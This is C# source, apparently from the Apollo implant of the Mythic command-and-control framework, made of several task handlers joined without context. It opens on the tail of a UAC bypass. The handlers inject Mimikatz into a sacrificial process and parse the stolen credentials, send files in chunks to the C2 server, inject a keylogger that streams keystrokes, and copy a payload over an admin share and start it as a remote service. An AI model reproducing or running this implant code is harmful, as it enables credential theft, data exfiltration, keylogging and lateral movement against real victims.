job.SetComplete("BypassUac executed successfully");
}
}
/// <summary>
/// Execute an arbitrary C# assembly in a sacrificial process
/// that respects the current caller's token.
/// </summary>
/// <param name="job">
/// Job associated with this task. job.Task.parameters
/// should contain a JSON structure with key "assembly" that
/// has an associated Apfell file ID to pull from the server.
/// This assembly is position-independent code generated from
/// donut with arguments baked in.
/// </param>
/// <param name="agent">Agent this task is run on.</param>
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
string sacrificialApplication;
string commandLine = "";
string command = "";
string loaderStubID;
string pipeName;
JObject json;
List <string> output = new List <string>();
/*
* Response from the server should be of the form:
* {
* "loader_stub_id": "File ID of the loader stub",
* "pipe_name": "named pipe to connect to",
* "command": "command line arguments to send",
* }
*/
//ProcessWithAnonymousPipeIO sacrificialProcess = null;
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
try
{
json = (JObject)JsonConvert.DeserializeObject(task.parameters);
} catch (Exception ex)
{
job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
return;
}
command = json.Value <string>("command");
if (string.IsNullOrEmpty(command))
{
job.SetError("Require one or more commands to give to Mimikatz.");
return;
}
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
try
{
loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
} catch (Exception ex)
{
job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
return;
}
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID));
return;
}
pipeName = json.Value <string>("pipe_name");
if (string.IsNullOrEmpty(pipeName))
{
job.SetError("No pipe name was given to DLL to start the named pipe server.");
return;
}
if (implant.architecture == "x64")
{
sacrificialApplication = EvasionManager.SpawnTo64;
}
else
{
sacrificialApplication = EvasionManager.SpawnTo86;
}
try
{
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true);
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
ApolloTaskResponse response;
if (sacrificialProcess.Inject(loaderStub))
{
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
StreamWriter writer;
try
{
writer = new StreamWriter(pipeClient);
writer.Write(command);
writer.Flush();
using (StreamReader sr = new StreamReader(pipeClient))
{
var line = sr.ReadLine();
while (line != null && line.ToUpper().Trim() != "EOF")
{
output.Add(line);
line = sr.ReadLine();
}
}
if (pipeClient.IsConnected)
{
writer.Close();
}
if (output.Count > 0)
{
response = new ApolloTaskResponse(job.Task, output.ToArray());
var credResp = GetCredentialResponse(job.Task, command, output);
job.AddOutput(response);
if (credResp.credentials != null && credResp.credentials.Length > 0)
{
job.AddOutput(credResp);
}
output.Clear();
}
job.SetComplete("");
}
catch (Exception ex)
{
job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
}
}
else
{
job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
else
{
job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception ex)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
}
else
{
job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message));
}
}
finally
{
if (!sacrificialProcess.HasExited)
{
sacrificialProcess.Kill();
}
}
}
/// <summary>
/// Download a file to the remote Apfell server.
/// </summary>
/// <param name="job">
/// Job associated with this task.
/// File to download is in job.Task.parameters
/// </param>
/// <param name="implant">Agent this task is run on.</param>
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
string filepath = task.parameters.Trim();
string strReply;
bool uploadResponse;
if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"')
{
filepath = filepath.Substring(1, filepath.Length - 2);
}
else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'')
{
filepath = filepath.Substring(1, filepath.Length - 2);
}
try // Try block for file upload task
{
// Get file info to determine file size
FileInfo fileInfo = new FileInfo(filepath);
long size = fileInfo.Length;
// Determine number of 512kb chunks to send
long total_chunks = size / 512000;
// HACK: Dumb workaround because longs don't have a ceiling operation
if (total_chunks == 0)
{
total_chunks = 1;
}
// Send number of chunks associated with task to Apfell server
// Response will have the file ID to send file with
ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
{
task_id = task.id,
total_chunks = total_chunks,
full_path = fileInfo.FullName
};
job.AddOutput(registrationMessage);
MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);
if (resp.file_id == "")
{
job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
return;
}
// Send file in chunks
for (int i = 0; i < total_chunks; i++)
{
byte[] chunk = null;
long pos = i * 512000;
// We need to use a FileStream in case our file size in bytes is larger than an Int32
// With a filestream, we can specify a position as a long, and then use Read() normally
using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
fs.Position = pos;
// If this is the last chunk, size will be the remaining bytes
if (i == total_chunks - 1)
{
chunk = new byte[size - (i * 512000)];
int chunkSize = chunk.Length;
fs.Read(chunk, 0, chunkSize);
}
// Otherwise we'll read 512kb from the file
else
{
chunk = new byte[512000];
fs.Read(chunk, 0, 512000);
}
}
// Convert chunk to base64 blob and create our FileChunk
ApolloTaskResponse fc = new ApolloTaskResponse()
{
chunk_num = i + 1,
file_id = resp.file_id,
task_id = job.Task.id,
chunk_data = Convert.ToBase64String(chunk),
total_chunks = -1
};
job.AddOutput(fc);
}
job.SetComplete($"Finished downloading file {filepath}");
}
catch (Exception e) // Catch any exception from file upload
{
job.SetError($"Exception occurred while downloading file: {e.Message}");
}
}
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
byte[] loggerStub;
ApolloTaskResponse progressResp;
KeylogArguments args = JsonConvert.DeserializeObject <KeylogArguments>(task.parameters);
if (args.pid < 0)
{
job.SetError("PID must be non-negative.");
return;
}
if (string.IsNullOrEmpty(args.pipe_name))
{
job.SetError("No pipe was given to connect to.");
return;
}
if (string.IsNullOrEmpty(args.file_id))
{
job.SetError("No file ID was given to retrieve.");
return;
}
try
{
System.Diagnostics.Process.GetProcessById(args.pid);
} catch (Exception ex)
{
job.SetError($"Failed to find process with PID {args.pid}. Reason: {ex.Message}");
return;
}
loggerStub = implant.Profile.GetFile(job.Task.id, args.file_id, implant.Profile.ChunkSize);
if (loggerStub == null || loggerStub.Length == 0)
{
job.SetError("Failed to fetch keylogger stub from server.");
return;
}
var injectionType = Injection.InjectionTechnique.GetInjectionTechnique();
var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loggerStub, (uint)args.pid });
//Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid);
if (injectionHandler.Inject())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Binder = new IPC.KeystrokeMessageBinder();
NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", args.pipe_name, PipeDirection.InOut);
try
{
pipeClient.Connect(30000);
job.OnKill = delegate()
{
try
{
if (pipeClient.IsConnected)
{
bf.Serialize(pipeClient, new IPC.KillLoggerMessage());
}
job.SetComplete("Stopped keylogger.");
}
catch (Exception ex)
{ }
};
job.AddOutput($"Connected to keylogger. Processing keystrokes.");
while (true)
{
KeystrokeMessage msg = new KeystrokeMessage();
try
{
msg = (IPC.KeystrokeMessage)bf.Deserialize(pipeClient);
ApolloTaskResponse resp = new ApolloTaskResponse()
{
task_id = task.id,
user = msg.User,
window_title = msg.WindowTitle,
keystrokes = msg.Keystrokes
};
job.AddOutput(resp);
}
catch (Exception ex)
{
}
}
} catch (Exception ex)
{
job.SetError($"Something went wrong: {ex.Message}");
}
}
}
public static void Execute(Job job, Agent agent)
{
byte[] templateFile;
PSExecParameters args;
ApolloTaskResponse resp;
string formattedRemotePath;
string remotePath;
string fileGuid = Guid.NewGuid().ToString();
bool bTemplateFileWritten = false;
ServiceController resultantService = null;
args = JsonConvert.DeserializeObject <PSExecParameters>(job.Task.parameters);
if (string.IsNullOrEmpty(args.computer))
{
job.SetError("Missing required parameter: computer");
return;
}
if (string.IsNullOrEmpty(args.template))
{
job.SetError("Missing required parameter: template");
return;
}
if (string.IsNullOrEmpty(args.remote_path))
{
formattedRemotePath = $"\\\\{args.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
remotePath = $"C:\\Users\\Public\\{fileGuid}.exe";
}
else
{
if (Directory.Exists(args.remote_path))
{
args.remote_path = Path.Combine(args.remote_path, $"{fileGuid}.exe");
}
remotePath = args.remote_path;
formattedRemotePath = $"\\\\{args.computer}\\{args.remote_path.Replace(':', '$')}";
}
if (string.IsNullOrEmpty(args.service_name))
{
args.service_name = $"ApolloService-{fileGuid}";
}
if (string.IsNullOrEmpty(args.display_name))
{
args.display_name = $"Apollo Service: {fileGuid}";
}
templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize);
if (templateFile.Length == null || templateFile.Length == 0)
{
job.SetError($"Unable to retrieve template ID: {args.template}");
return;
}
try
{
File.WriteAllBytes(formattedRemotePath, templateFile);
bTemplateFileWritten = true;
}
catch (Exception ex)
{
job.SetError($"Unable to write file to {formattedRemotePath}. Reason: {ex.Message}");
return;
}
resp = new ApolloTaskResponse(job.Task, $"Copied payload to {formattedRemotePath}");
job.AddOutput(resp);
try
{
if (!Utils.ServiceUtils.InstallService(args.computer, args.service_name, args.display_name, remotePath))
{
string errMsg = $"Error installing service \"{args.service_name}\" on {args.computer}. Last Win32 Error: {Marshal.GetLastWin32Error()}";
try
{
if (File.Exists(formattedRemotePath))
{
File.Delete(formattedRemotePath);
}
}
catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }
job.SetError(errMsg);
return;
}
}
catch (Exception ex)
{
string errMsg = $"Error installing service on \"{args.service_name}\" on {args.computer}. Reason: {ex.Message}";
try
{
if (File.Exists(formattedRemotePath))
{
File.Delete(formattedRemotePath);
}
}
catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
job.SetError(errMsg);
return;
}
resp = new ApolloTaskResponse(job.Task, $"Installed service \"{args.service_name}\" on {args.computer}");
job.AddOutput(resp);
try
{
if (!Utils.ServiceUtils.StartService(args.computer, args.service_name))
{
string errMsg = $"Unable to start service \"{args.service_name}\" on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
try
{
if (File.Exists(formattedRemotePath))
{
File.Delete(formattedRemotePath);
}
}
catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }
try
{
if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
{
errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
}
}
catch (Exception ex) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex.Message}"; }
job.SetError(errMsg);
return;
}
}
catch (Exception ex)
{
if (Utils.ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
{
if (resultantService.Status == ServiceControllerStatus.Running || resultantService.Status == ServiceControllerStatus.StartPending)
{
}
else
{
string errMsg = "";
if (ex.GetType() == typeof(System.InvalidOperationException))
{
errMsg += $"Error starting service: {ex.Message}";
}
try
{
if (File.Exists(formattedRemotePath))
{
File.Delete(formattedRemotePath);
}
}
catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
try
{
if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
{
errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
}
}
catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
job.SetError(errMsg);
return;
}
}
}
try
{
if (resultantService == null)
{
if (!ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
{
job.SetError($"Could not find service {args.service_name} on {args.computer}");
return; // probably need to delete remote file
}
}
job.SetComplete($@"
Service started on {args.computer}!
DisplayName : {resultantService.DisplayName}
ServiceName : {resultantService.ServiceName}
Status : {resultantService.Status}
CanStop : {resultantService.CanStop}");
}
catch (Exception ex)
{
string errMsg = "Could not find service on remote host.";
try
{
if (File.Exists(formattedRemotePath))
{
File.Delete(formattedRemotePath);
}
}
catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
try
{
if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
{
errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
}
}
catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
job.SetError(errMsg);
return;
}
}
